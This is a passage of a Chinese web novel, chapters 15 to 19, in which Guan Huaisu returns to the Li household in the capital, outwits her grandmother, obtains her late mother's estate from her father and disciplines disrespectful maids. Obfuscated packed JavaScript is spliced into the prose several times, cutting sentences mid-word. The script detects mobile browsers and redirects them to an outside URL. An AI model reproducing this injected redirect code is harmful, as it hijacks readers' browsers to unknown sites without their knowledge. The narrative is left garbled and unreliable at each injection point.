家里人如此说,叫关怀素心中无限温暖,连连点头,说:“如此,我便放心入京,回李家细查了!” “姑娘去哪里,我都跟着。”柳叶认真地说完,而后才苦恼地说,“可是,我听说李家这几个月都没人来庄子上,难道您要自己上门去吗?还有李家诸人什么性情、什么情况,姑娘两眼一抹黑,届时如何行事呢?” “这些事情,这些日子我虽在八仙庄,也没闲着,已经吩咐人查得七七八八了。”关怀素对柳叶说,“你既然回来了,明儿我就开始准备,让李家人来接我。” 柳叶听她这么一说,顿时放下心来。 二人又说了会子话,柳叶旅途劳顿,便早早歇息了。 第二天一大早,一众犯事儿的下人都被捆了出门。 “姑娘,姑娘!丁妈妈,救命啊!”碧桃被拉出来的时候,知道要去衙门,晓得自己绝对讨不了好,立刻尖叫起来,“你答应我什么都说了就给我个好去处的!丁妈妈,你说过姑娘答应过我的!” “姑娘,饶命、饶命啊!”兰花也在一边大哭大喊,挣扎着不肯挪动身体。 另一边,白成才与他那几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些人,不过是暗处之人的马前卒罢了。 真正背后造成这一切的人还在逍遥法外。 大宅之内,栏杆上的雕花已经剥落,廊下的花草也已经开始挂霜。 这破旧的别庄可不是真正的战场,一切还没结束,一切才真正开始。 这个时候,那官衙的鸣冤鼓敲响的,才是真正好戏开锣的声音。 第十五章 回京 京师,府衙口。 围观审案的百姓举座皆惊! 刁奴多年欺压乡邻、残害人命不说,还欺压幼主、暗害主人,竟然做了断肠草送主人吃! 这种事情何其夸张,让人格外不解,又不是家中长辈不在,怎能让家中女儿如孤女一般被下仆**至此? 每当众人讨论,恰好就会听到有人悄悄说一句“啊,想起来了,李家那发妻早逝,如今是继妻,那被欺辱的是原配嫡女……” 再意味深长地说一句“哎呀,那庄子像是先皇赏赐给大儒关怀远老先生的,那八仙庄可是皇庄啊!做了陪嫁就算了,如今自己的外孙女就这么在阿娘的陪嫁庄子上被下毒……啧啧……” …… 这话一说,众人顿时被点到了盲点! 确实,若是普通奴大欺主,只是让人震惊,可是这若是牵扯到后宅阴私,不免就让人津津乐道起来。 尤其是李家这件事情,说起来确实十分微妙。嫡妻死后留下孤女和偌大嫁妆,丈夫一年后立即续娶就算了,竟然还把刚及笄的嫡女丢在乡下庄子里几个月不闻不问,最后孤女居然被下人下毒差点惨死…… 这也太巧合了一些。 只差把谋害嫡女、谋夺发妻嫁妆这事儿写在了明面上啊! 这事儿要是继续发酵下去,只怕甚至会上达天听! 毕竟当今圣人以儒家礼法治理天下,此事不处理好,李珺只怕要落得个治家不严、私德有亏,只怕连乌纱帽都保不住。 关怀素审问详细,人证物证都在,几乎没有翻案的可能性,基本上一送去官府,当天就定下大罪。 “李家人只要不是真的傻子,会以最快的速度接我回家。”庄子上,关怀素拿着一颗棋子,啪地放在棋盘最边上,大龙已成,柳叶输得彻底。 三日后,果如关怀素所料,一大早上,几乎天还没亮,李家来人了。 算算时间,基本是事发就连夜赶路前来。 “都让去外面等着,这会子天还没亮,没到姑娘起身的时候。”丁妈妈早知道姑娘与李家不睦,这会儿自然拿腔拿调,先给他们来个下马威。 外头李家婆子们登时就面上起了怨怼之心,还有人直接冷哼一声说:“大姑娘如今真是好大的脾气!” 等到关怀素醒过来时,丁妈妈立刻说:“姑娘,那几个婆子看起来颇有些脾气,一会儿不知道会不会冲撞了姑娘。” “我知道了,让她们进来回话就是。”关怀素慢吞吞吃完了最后一个素馅馄饨,漱口之后,随手挑了件半新不旧的浅蓝色半臂,一边对丁妈妈说。 “哎!”丁妈妈转身要走,回头看到关怀素穿上那件半臂,愣了一下问,“姑娘不穿些见客的衣裳?” “不过是见几个下人罢了,还值当咱们姑娘特地装扮一番?”关怀素没说话,柳叶却笑着回答。 丁妈妈顿时知道自己是想岔了,把人当回事,才会特地郑重打扮,要是姑娘真为了几个下人就打扮一新,也确实把自己弄得太掉价了一些。 不愧是姑娘,还有这柳叶,也不愧是关家派来侍奉的,这段时间相处下来,处处把以前的碧桃和兰花比的相形见绌。 这才是大家闺秀的气派呢。 丁妈妈莫名觉得自己也威严三分,挺直了身子,趾高气昂地去门口传话了。 李家婆子们进来,便见外头已经起了秋风,大姑娘却只穿着单薄旧衣,虽面色红润,但看得出来京城传言不假,大姑娘身上的东西都被丫鬟克扣空了。 一个主子却被下人拿捏,差点害死,婆子们不免面露轻蔑。 “姑娘,老夫人命我们前来接您回家。”婆子上门前略微敷衍行礼,便站起身催促,“趁着天色尚早,姑娘便收拾一下,赶紧与我们一起家去吧!” “你们李家怎地如此没规矩?”柳叶皱眉呵斥,“你们到底是李家哪房哪处下人,老夫人又是如何吩咐……这些你们都不说,也无信物,难道随便来个破落户进来,都让姑娘跟着走不成?!” 这话说的,几个老婆子立刻脸色不好。 “原先兰花和碧桃都认识我们……”当头婆子忍不住开口,反而诘问柳叶,“你又是哪里来的乡野丫头,这样不知规矩,连长辈房里的人也随意辱骂?须知老爷最重孝道,说家中只要是老夫人身边伺候的人,比一般小辈还要得几分体面,不可随意折辱……大姑娘想来应也是知道的。” 这话说的,也是粗使下人十分不讲究了。 “柳叶,你别说了,我们这就跟着回去吧。”关怀素温声开口,说,“只是劳烦诸位妈妈稍等,我稍微收拾一下再走。” 丁妈妈在旁边已经开始挽袖子,本来还以为按照大姑娘这些日子的脾气,接下来要把这些人关起来打一顿,却没想到完全不如自己所想,顿时愣了一下,才跟着进屋去。 走出见客的偏厅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183291|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一进屋丁妈妈就说:“姑娘方才怎么不打那帮老货一顿?跟这儿充大头蒜,瞧着让人心里不爽利!” “不用,不过是些看碟下菜的,不必浪费力气与她们争执,回头就能收拾了。”关怀素温声摇头,又说,“正事要紧,妈妈,我那些破旧衣衫可都收拾好了?” “都收拾好了!”丁妈妈连忙点头,外头小荷也进来了,穿着一身灰褐色粗麻短衫长裤,活脱脱一个乡下孩童样子。 “好!小荷这样子很不错!”关怀素笑了一下,说,“大家都把衣衫换上吧,咱们这**京师,越是显得破落户越好!” 这是关怀素原本就想好的,这**京,路上也要两日,关怀素说什么都要先让所有人都产生一个印象——李家嫡长女,太穷酸了! 一则是为了宣扬姐姐的冤屈,二则是为了八仙庄。 这八仙庄,她必须拿到手。 否则她辛辛苦苦在八仙庄修水道、添新农具、教导下人……到时候岂不是为他人做嫁衣裳? 而李家老夫人定然是不舍得这下金蛋的母鸡,只能以形势逼迫,让她主动吐出这块肥肉。 换好衣衫,众人登时寒酸的仿佛要去打秋风。 关怀素自然得比她们穿好点,只是也是挑的半新不旧的料子,头顶上只戴了一朵旧的褪色绢花。 主仆四人连包袱也各自只得一个褡裢,就这么出了门。 身上贴身带着的钱财都换成了轻薄的银票与碎银,但是这些婆子并不知道,只看着关怀素主仆四人这样子,脸上掩饰不住的轻蔑。 等关怀素上车,婆子们在后头就忍不住就嘲讽起来,说:“到底是个破落户,身上榨不出二两香油来!” 还有人说:“就知道这事儿是个苦差事,连赏钱都没有。” 另一人说:“还赏钱,你看那样子,她自己身上能有一个钱吗?!” 至于关怀素四人,在前头的马车上看着景色,到了地方就下马车住店,一路上丁妈妈穿着补丁的衣衫说自己是“京师吏部郎中家原配嫡女的贴身妈妈”。 等到离开之后,立刻便有个跛子在旁边啧啧摇头,说“这就是前些日子差点被下人害死的那个李家大姑娘啊?听说她外祖父当年还是三品大员,她娘陪嫁庄子钱财无数呢!” 这一通掰扯下来,等到关怀素一众人到京师的时候,李家那被苛待的大姑娘回家的消息已经长翅膀一般传到了京师。 第十六章 初见 京师,早朝后,左掖庭外。 一面貌清癯俊朗的中年文官正拾级而下,不远处好友迎路赶上,笑唤:“子君,等等我。” 李珺驻足等待,友人过来左右四顾,见四下无人,便凑到他面前小声说:“子君,我知你一心扑在公事上,但是家宅不宁可是大事,子君兄也应把后宅之事打点好才是。” 李珺心中疑惑,忙问好友何出此言。 “你竟还不知道吗?昨日起满京师都在传,你那嫡女一路从京郊回京,据说打扮很是落魄,身边仆婢粗麻衣衫尚有补丁……子君,”友人唤李珺小字,皱眉不赞同地说,“我知你为官清廉,可当初关大人陪嫁万贯家资给令夫人,满京师谁人不晓?怎能让孩子拮据至此?” 李珺平日官声极好,与人为善,与朝中清流关系也颇好。 这么多年,他是第一次被交好的友人用这种语气质问,虽言语极温和,但是内在意思已经足够让李珺羞耻不已。 “往日家中事务全权交给夫人,我竟不知还有此事!实在是惭愧至极!我即刻回去查清此事,多谢彭兄。”李珺拱手,羞耻难耐地与友人道别,大步出宫。 上了马车之后,李珺忙问长随茅二到底发生了何事。 长随茅二也是一大早才得知大姑娘回京的流言,这会子连忙一五一十交代清楚。 李珺这才恍然大悟,顿时大怒,连声催促回家。 到家之后,还没开始发火,管家匆匆赶过来禀告:“郎君,大姑娘到家了,正在老夫人屋里拜见。” 李珺一听,衣服也不换,往母亲房里赶去。 李家二门内,正屋里铜兽流香,满屋子都是一股子馥郁的花香气。 关怀素垂眸,规规矩矩地正在对着祖母请安。 她看似恭敬,实则一路都在观察李家的状况。 李家住在京师内城,地段十分不错,屋子是标准的三进大院,虽不算豪阔,但已经十分舒服。 要知道京师地价贵,五品官员外放尊贵,到了京师,却也不过是普通,有些家底薄一些的,为官十年也买不起京师一处普通宅邸。 关怀素早打听得清清楚楚,李家乃是肇州小门户,门第早已衰败,轮到李珺上京时,已与一般清贫士子无异。 李老夫人也只是秀才之女,并无娘家支撑。 如此家境,自然不可能在为官短短三年就购下这样的宅邸,毕竟这宅子在先皇时,只怕也得两千两左右。 此宅定是母亲所购。 母亲姐姐都已经死去,可能存在的凶手却还住在母亲所购的宅邸里,这样的事情,关怀素虽心中心绪起伏,但是到底心中有所准备,也不至于失态。 进门见到榻上斜歪着的银发老妇人,身穿鲜红满绣福字图案比甲、头戴着镶红宝抹额并插八根福字金簪的老太太时,关怀素表情依然稳当。 她规规矩矩上前,左右手交叠行了一个礼,轻声说:“祖母安康。” “哎呀,婉玉我的儿,你可算是舍得回来了!”老夫人慈爱一笑,伸手拉着关怀素到面前,一派关心地念叨,“你说说你,不过是被宋家三郎说了一句,女儿家面皮怎么就这么薄,竟这么任性非要去庄子上住,一去几月,让全家都担心!” 关怀素眼神微变。 这一个照面,关怀素就发现了,她这个祖母,确实是个厉害角色。 兰花和碧桃都交代了,当初姐姐被发落到庄子上,乃是家里人嫌弃姐姐在宴会上受了奚落,斥责她轻浮放浪,让她去庄子上反省。 临走时姐姐哭求,却依旧被塞上马车。 如今祖母一个照面,便颠倒黑白,说的仿佛是姐姐任性、舍下长辈独居,真是熟练得彷如老马识途。 关怀素心里知道,她不能这么认了,否则明儿开始,这件事情就会变成事实。 只要她是“任性”自己去庄子上,那么后续被下仆所害等事情,那都算得上是咎由自取了。 自然怪不得别人。 关怀素瞬间就想得清楚,表面上却只是笑了一下,轻声说:“祖母说的我竟然不知,当初是下人推着我上的马车,我在您院子里大声哭喊,求祖母饶了我……祖母难道是没听到……还是忘了?” 这话一出,老夫人慈爱的笑容顿时一僵。 她有些惊疑不定地看关怀素,显然不明白平日锯嘴葫芦一样逆来顺受的大孙女,怎地突然牙尖嘴利起来。 而且……怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183292|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉似乎在讥讽她? 可仔细一看,这大孙女脸上平静,却像是完全不懂自己说的话是什么意思一样,似乎没有任何言下之意,真的只是单纯地在疑问而已。 这让老夫人有点下不来台。 老夫人身边的老妈妈立刻上前打圆场,一张胖脸看着十分和气,连声说:“哎呀,姑娘赶路了几天,想是身上难受,快去休息一下换身衣衫吧!” “是了!兰花与碧桃那两个背主奴才真是可恨,陈妈妈,你去把我屋里年轻时候的衣衫拿几套给大姑娘,明日再让裁缝来给婉玉多做几套衣衫,再打些首饰……这可怜的……”老夫人仿佛这时候才看到关怀素一身过于寒酸的穿戴,立刻另起话头,马上吩咐。 这是赶紧让她换下这些破旧衣服,给她点甜头,还是想把这事儿最快速度抹平。 其实若是老夫人在她回来后直接大大方方地骂人或是仔细询问庄子上的事情,关怀素都觉得正常。 可是老夫人越是极力假装平静,关怀素却愈发肯定——老夫人在心虚。 而且关怀素瞬间看明白了,这位祖母,对姐姐没有一丝祖孙之情。 这么大的事情,她竟然想用几套新衣服和首饰就糊弄过去,这可是内宅里唯一与姐姐有血脉关系的人! 哪怕关怀素心里早有猜测,姐姐能被送去庄子,在家里一定不好过,可此时发现连亲祖母都是如此,关怀素还是心中愤怒悲痛。 她捏紧拳头,强迫自己冷静下来,思量之间正想说话,门口就传来脚步声。 “母亲,听说婉玉回来了?”那声音清正谦和,关怀素却浑身一震,她意识到,这个人是她从未见过的父亲。 关怀素心中到底有些激荡,一转头,就见到一个浑身书卷气的清癯中年男人从外头进门,身上穿着从五品的补服,哪怕年岁已长,依旧有种风度翩翩的文士风采。 这是她的父亲,李珺。 关怀素几乎第一时间就十分确信,哪怕此前从未见过,哪怕半年之前,她甚至不知道世上还有此人。 这一见之下,关怀素就知道,这是她和姐姐的血脉至亲。 是她在世上还能寻找到的,最后一个最最至亲之人。 第十七章 交锋 李珺憋了一肚子火气,一进门看到个穿着个褪色旧蓝比甲的姑娘,鹅蛋脸杏子眼,这个天气居然还穿着单衫,一头双环髻倒是梳的整齐漂亮,但是连绢花也是褪色的旧物。 饶是李珺心里一肚子火,这一照面都变成了震惊,他脱口而出:“玉儿,你怎地这样了?!” 如所有同年纪的男人一样,李珺平日并不太管后宅儿女之事,女儿们都跟着夫人与娘亲住在内院里,他平日除了当值上朝,其他时间多在外院里教导两个儿子、或是出门访友会客,因此与女儿们相处并不多。 而大女儿婉玉与姐妹们比起来,活泼不如二妹婉容、聪慧不如三女儿婉淑。 如今想起来,李珺才愕然发现,他似乎确实好久没认真打量这个在家中如影子一般的大女儿了。 他是万万没想到,再次仔细一看,才发现大女儿似乎真的……实在是过于落魄了一些。 且走近了仔细一看,大女儿头顶那绢花里做花蕊的材料不知是珍珠还是什么,总之定然是稍微值钱一些的东西,因为那花蕊被剪得干干净净,竟是一朵空包花。 看着分外突兀。 李珺觉得自己像是被人凭空扇了几十个巴掌,脸上火辣辣地疼。 他终于知道为何老友如此告诫,为何这几日朝堂偶尔有人用异样眼神看他。 只怕满京师都找不出一个五品官员嫡女,能过成他李珺女儿这般。 “父亲万福安康。”关怀素谨慎地观察李珺神色,并不多说,只垂下眼眸,端端正正地行礼。 “你起来!”李珺几步上前拉起她,上下仔细看了一眼,靠近了更是看得清楚,这大女儿身上的衣衫破旧不说,衣襟袖口甚至都已经磨损到了十分明显的地步。 转头再看看那头上顶着八根金簪的老母亲,两方对比实在太过鲜明,李珺忍了一下,到底没忍住,带着点怒气地说:“娘,你看看玉儿,这比人家破落户还不如了!” 这话说的,老夫人登时不痛快了:“你朝着我嚷嚷有什么用?谁知道哪起子没心肝的竟然连主子都敢欺负?婉玉自己不说,我又如何得知?” 说着又转头对关怀素说:“玉丫头,你这孩子也是,我知道你素来最是和善,对下人也从来都是极好的,这原是好事,可是怎可纵容他们到此地步?你啊,糊涂!” 关怀素心中冷笑,为这老虔婆的颠倒是非。 “祖母说的是,只是之前我同您说,兰花偷了父亲送我的及笄金簪,想找您做主追回,您说无凭无据不可随意诬陷下人,待身边下人也要宽厚些才是。”这都是碧桃和兰花交代的事情,关怀素此刻刚好拿来堵老虔婆的嘴。 “母亲!玉儿说的可是真的?!”李珺一听,顿时愣住,不可置信地看向自己的母亲。 坐在榻上的老夫人羞恼惊疑的表情让李珺瞬间就明白了,大女儿说的可能是实话! 他顿时怒极,连声质问:“母亲,你何以如此糊涂?玉儿都说了被窃,这种下人还留着做什么?不应即刻查清、发卖出去吗?!” “我当日是让她拿出证据!她什么都拿不出,我老了心力不济,还能作甚?如今当家的也不是我呐!”老夫人一拍桌子,自知无理,反而先撒起泼来,她到底是乡间小户出身,平日无事还能维持住老夫人的仪态,此时被质问,自知站不住脚,立刻便要捂着心口,做出一副被气到的样子说,“我老婆子从来只知道宽厚待人,哪里知道世上竟有这样的腌臜人物?!” “祖母说的是,父亲也不要为此责怪祖母。”关怀素见老夫人开始胡搅蛮缠,知道再争吵也无益,立刻站出来劝解,她勉力微笑,温声劝导,“父亲,不要为了我与祖母争吵,婉玉无事的。” 她不说还好,这么一说,再看看旁边捂着心口发横的老娘,李珺真是火气更盛。 “祖母,这些也是婉玉的命,”关怀素对父亲说完,又对着祖母行礼,说,“婉玉说当日之事,并非责怪祖母的意思,还请祖母勿怪。” 老夫人一听,顿时心中窃喜,还以为这事儿要过去了,立刻挥开身边的婆子,对着关怀素说:“哎呀,我就说我们玉儿是最最体贴温厚的,一路劳累,你也快回屋里歇着吧!” 说完,竟想就这样把事情过去了。 “父亲,是婉玉不是,让您担心了。”关怀素笑着转头,又露出有些犹豫之色,轻声说,“只是婉玉有两件事情不是,一则我那两个丫鬟,乃是祖母与大娘子分别所赐,按道理要处置也应当绑回来才是。二则八仙庄本是祖母在管,我却承诺八仙庄佃户,日后佃租两成,永不加息,这才安抚了大家。” 关怀素说完,屈身行了个大礼,说:“婉玉越俎代庖,还请父亲与祖母原谅则个。” 李珺看她粗布旧衫,行事举止却落落大方,谈吐之中看得出来才思敏捷……与昔日仿佛判若两人。 不需要关怀素多说,李珺脑海之中已经替她想好了如此变化的原因——被下人欺辱、一个孤女孤零零的,还遭遇刁奴盘剥引发民变……她若是还如之前在家时那样温吞的性子,只怕也回不来见他们了。 先不说处置背主丫鬟理所当然,最最紧要的佃租之事,这大女儿处理得看似割肉,导致从此庄子上租钱大减,但是其实却是及时挽回了家里的名声。 否则要是真传回京师,如此盘剥良民,只怕他李珺这辈子的仕途也就到此为止了。 “什么?!从此租子只收两成?你这个混账,谁让你替我答应的?那庄子一年少了大半进项,你让家里日后喝西北风不成?!”偏这个时候,旁边的老娘又生气地大喊。 李珺本就强行让自己忍了一次又一次的怒气,此刻看着眼前大女儿垂眉请罪,一身旧衣,看着可怜无比。 再看看旁边光鲜亮丽还为了那几成租子跳脚的老娘。 “八仙庄本就是婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183293|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉她娘的嫁妆,既然婉玉已经及笄,日后便交给婉玉自己打理就是,娘你就别管了!”李珺瞬间脱口而出。 这并不是李珺的冲动决策,路上李珺就在如此考虑。 苛待嫡女,放一般人家,或许并没有那么严重。可是放在他身上,绝对不可。 要知道关家老爷子年轻时虽无帝师之名,却也教导过当今,便是关素问当初也曾与先帝同窗……这些情分,谁知道当今心里是否还记得? 关家千金嫁女,只留下一滴骨血,如今闹出这等被苛待的丑事,真要被人参上一本,惹得今上不悦,他李珺仕途只怕就到此为止了。 因此李珺必须马上让流言平息下来,要堵住悠悠众口。 所以他路上就想好,皇庄必须给大女儿! 可问题是,李珺自己心里打算得清楚,可他老娘不知道啊! 李珺一说,老夫人捂着心口大喊心痛。这回就不全是装模作样了,而是真的是心疼了——家中家用全数是儿子李珺那边负责,那皇庄一年三百两都是进老夫人一人的腰包,这猛地全拿走,简直是生生挖老夫人的心头肉啊! 李珺看老娘要厥过去的样子,立刻说:“娘,我已经决定了!婉玉,日后庄子上来人,只管去给你回话,一应地契等等,我一会子都叫人给你送去!” 说完叹了口气,温声说:“你这么大的姑娘了,也合该是有点体己才是。往日是爹爹没注意到,是爹对不住你。” “爹!”关怀素目的达成,立刻假作惊喜的表情,不可置信地问,“爹说的可是真的?!” 到底是自己的骨肉,李珺本来全是一门心思为自己打算,只还有些头痛如何应付老娘的脾气,如今看到大女儿这喜悦的样子,方才本来只有三分愧疚,一瞬间却已经到了八分。 要知道其他几个女儿习惯和他撒娇,看中了什么好东西也总会找他缠磨,年节时候,偶尔动辄几十两都是常见花费,就算是他不给,她们各自都有自己的娘亲小娘护着……李珺突然发现,这好像还真是他第一次给这个大女儿送一样东西,一个可倚靠之物。 而这个大女儿,是真正没有任何人为她打算的。 甚至他给的东西,其实本就是属于大女儿的。 “是,爹说得是真的!”李珺心中略微羞愧,立刻回答,到底心中有些刺痛,于是又补了一句,“一会儿让账上给你做些首饰衣裳……委屈你了。” “不委屈。”关怀素摇头,眼里带着喜悦,又含着一点泪水,对李珺说,“有爹心疼我呢,婉玉一点也不委屈。” 李珺看她微笑时眼里含着一点泪花,却神色明朗,真的看着对他竟无一丝怨怼之色,只有信任和濡慕。 李珺一瞬心中剧震。 “你说的是什么胡话!她那么小一个人,要那么大个庄子作甚?”李珺还在心中震动,一边的老夫人却真气到了,捂着胸口就要哭。 第十八章 刁奴 “你先回房安置吧。这一路也怪辛苦的!”李珺心中第一次对这个忽视的大女儿有了浓烈的愧疚,看她虽强打精神却还是掩饰不住疲惫之色,就对旁边的柳叶说,“去,带着你家姑娘回屋,早些安置。” 关怀素对父亲和老夫人行礼离开。 离开时老夫人还在干嚎,压根没搭理关怀素。 关怀素也不管,出门与被晾在外头吹风的丁妈妈和小荷汇合,带着包袱自回院子。 李家是正经三进院子,姐姐住的是后院的东院,挂了个“素心居”的牌子。 后院有天井回廊环抱,中间还有小片竹林倚墙而生,地上丛抱矮冬青,翠绿之中红果点点,看着也算雅致。 关怀素心中激动又期待,想着不知姐姐这样温雅的人,住的地方如何装扮? 姐姐喜欢什么样的帐幔、什么样子的首饰?可曾读书,又可曾往书里记下过什么想法?姐姐喜欢的钗环首饰是什么样子的?可与自己相同? …… 怀着种种幻想,关怀素激动地推开素心居半敞着的大门,一眼就看到天井石桌前,两个看打扮是二等丫鬟的婢女在坐着喝茶吃点心。 见有人来,那两个丫鬟动作一顿,下一刻穿丁香色比甲的丫鬟站起来,讪笑着行礼,口里说:“姑娘回来了!” 这么说完就算了,竟连个正经见礼也没有,也没有过来接手包袱干活的意思,竟像是等着喊让她们继续坐下来吃喝。 丁妈妈看着邪火直冒,立刻上前大声呵斥:“你们两个是哪里来的大家小姐,**坐在院子里吃点心,看到主子进门了居然都不晓得请安喊人,你们是来伺候人的还是让人伺候的?!” 这一通抢白,把院子里的两个丫鬟给弄得下不来台,穿藕荷色裙子的丫鬟就露出不忿之色,开口抢白:“原是大姑娘定的规矩,院子里不必拘着,不用时时行礼,我们也只是听大姑娘的吩咐,若是大姑娘要改,我们定然也会从此改了。” 说完,那丫鬟就看向关怀素,竟一副理直气壮地等着关怀素给她评理的样子。 关怀素笑了一下。 这丫鬟就脸上露出得意之色,得意地看丁妈妈,说:“姑娘才不是你这样小心眼子的人,你拍错马屁了!” “荷花,你别说了!”穿着丁香色比甲的丫鬟看看关怀素的表情,她倒是像是真的心里有点清明的人,这会儿似乎看出来了关怀素的心情并不好,整个人都站的端肃了许多,没了嬉笑之色,一直在拉荷花的衣摆,想让她快些住嘴。 “哎呀,杏子,你拉我作甚?!”偏荷花完全没看出来,反而还不耐烦地挥开她的手。 “说完了?”关怀素看她不说话了,这才开口。 荷花这才发现,大姑娘虽然是笑着和她说话,但是却完全不似平常的笑。 平素大姑娘笑的时候,那笑容都是柔和的,但是今天姑娘虽在笑,那笑容却是冷冷的,与素日完全不一样。 荷花觉得有点不对劲,但是又说不出为什么,就听到关怀素温声问:“我说过,院子里不用时时拘礼,可说过从此不用分尊卑高下?可说过你们可以不用把我放在眼里?” “姑娘,荷花不是这个意思!”荷花听着不对,若是一般丫鬟被主子这么问,知道已经惹怒了主人,定然会立刻跪下来请罪,但是荷花早跋扈惯了,反而站在原地继续争辩:“本就是姑娘自己说的,院子里不必拘礼是主是仆,老夫人和夫人不也是因此常夸姑娘,说满屋就您对下人最为体恤呢!” “那老夫人和夫人屋里的下人,可都如你们一般,穿着这般鲜亮,打扮得这么俏丽,白日坐在这里吃茶闲话,见着主人也不用问安?”关怀素温声问。 她说话并不提高声音,音量一般大,说话的语调也是十分斯文的,但是中气很足、思路十分清晰缜密,只几句话就问的荷花语塞。 荷花心中也是惊疑不定,她也是在院子里待了几年的老人儿了,知道自家姑娘的性子,那是个笨口拙舌的泥菩萨,素来无论是她们不管怎么做,只需要抬出老夫人和夫人,她就算心里不快活,也找不到话说,自然也就只能吃闷气。 今儿荷花也以为如此,却没想到姑娘却突然换了一个人一般,几句话弹压得她一时愣住,完全说不出话来。 让她怎么说?说夫人和老夫人院子里都是如此?这不是胡说么! 但是说不是,那岂不是又坐实了她不分尊卑? “回答我,荷花,家里的规矩是允许你们坐着吃茶、见到主子不问安、还许你们穿绸缎的吗?”关怀素加重语气缓缓地问。 这话一出,别说荷花脸上青一阵白一阵,旁边的杏子不安地拉了一下自己身上丁香色的缎面褙子,也露出了局促之色。 “姑娘误会了,这原也是姑娘心疼我们赏下来的衣裳,我们也是想着今儿迎姑娘回家,特地想穿得鲜亮一些……我们这就去换了!”杏子反应倒是不慢,立刻便开口说。 “是,姑娘既然看不惯,我们便换了便是,左右原先也是姑娘让我们随便穿的……”荷花硬邦邦地说。 关怀素笑了一下,摇了摇头,这才对身边的丁妈妈说:“罢了,我这座小庙,可容不下这样娇贵的丫鬟,妈妈,既然荷花不服气,你带她自去祖母屋里,就说这个丫头我是留不下了,让她老人家安排吧。” “是,姑娘!”丁妈妈就在这里等着呢,听到关怀素一吩咐,立刻精神抖擞上前,一把反剪住荷花的双手就往外头拉。 “你干什么?你这老虔婆放开我!”荷花尖叫,柳叶立刻上前帮忙,两人架着还在尖叫的荷花就一路往外出去。 从后院一路出去,荷花的尖叫和谩骂一路是全家上下应当是听得清清楚楚。 关怀素没打算继续去祖母那儿请安,看荷花被柳叶和丁妈妈拖出去,转头看着杏子。 杏子只犹豫一瞬,立刻就跪倒在地上行了个大礼,不安而又恭敬地说:“姑娘万福,杏子给姑娘请安。” “你倒是个聪明人。”关怀素笑了一下,摇摇头,带着小荷往屋里走。 她没叫起来,杏子就脸色发白地跪在院子里,关怀素裙摆擦着她的脸而过,杏子看到那洗得发白褪色的裙摆。 往日全家上下,谁不拿大姑娘寒酸取笑? 可是今日那发白的裙摆扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实老夫人听儿子这么一说,心里就知道此事改不了了,只是她到底心疼,一时缓不过来而已,听儿子这么说,她心中难受愤怒,就恨声说:“你说的轻巧!当初四个庄子就只给了我两个,一个你做主给了妙人,一个给了东院的,我老婆子一年到头也就只得这两处进项,如今登时少了一半,我怎么能不心疼?” 李珺这会儿终于听出来了老娘的意思,立刻说:“娘何必顾虑这个?这事儿我早想好了,家里如今这些年下来也有积攒,到时候我让夫人拿一个庄子出来,再给您补上就是。怎么也不能少了娘的花用呀!” 说到最后两句,李珺已经带上了笑意。 老夫人听到这里,也是终于放心,喜悦地笑着说:“好,好!即使如此,那我也不与大丫头计较了。” “放开我!老虔婆你放开我!”两人说的正开心,连老夫人房里的老妈妈与几个丫鬟也松了口气跟着赔笑,正一片和乐融融的时候,突然就听到门外传来荷花的叫声。 两人神色都是一变,一起皱眉。 第十九章 规矩 荷花敢大叫,自然也是习惯了老夫人撑腰。 但是荷花万万没想到的是,李珺今儿还在。 而且和平常不一样,如今大女儿的事情在风口浪尖,李珺可不敢出一丝差错。 见到关怀素身边的妈妈押了丫鬟过来,李珺立刻皱眉问发生了什么事情。 丁妈妈立刻三言两语把事情说了,又特地重复了关怀素的话,说:“姑娘问她,家里可都是这个规矩,二等丫头穿着绸缎吃茶,见到主子也不用行礼。荷花说,自来都是这个规矩,老夫人也是允的。” 李珺回头看自家老娘,他不太相信老娘会说出这样的话。 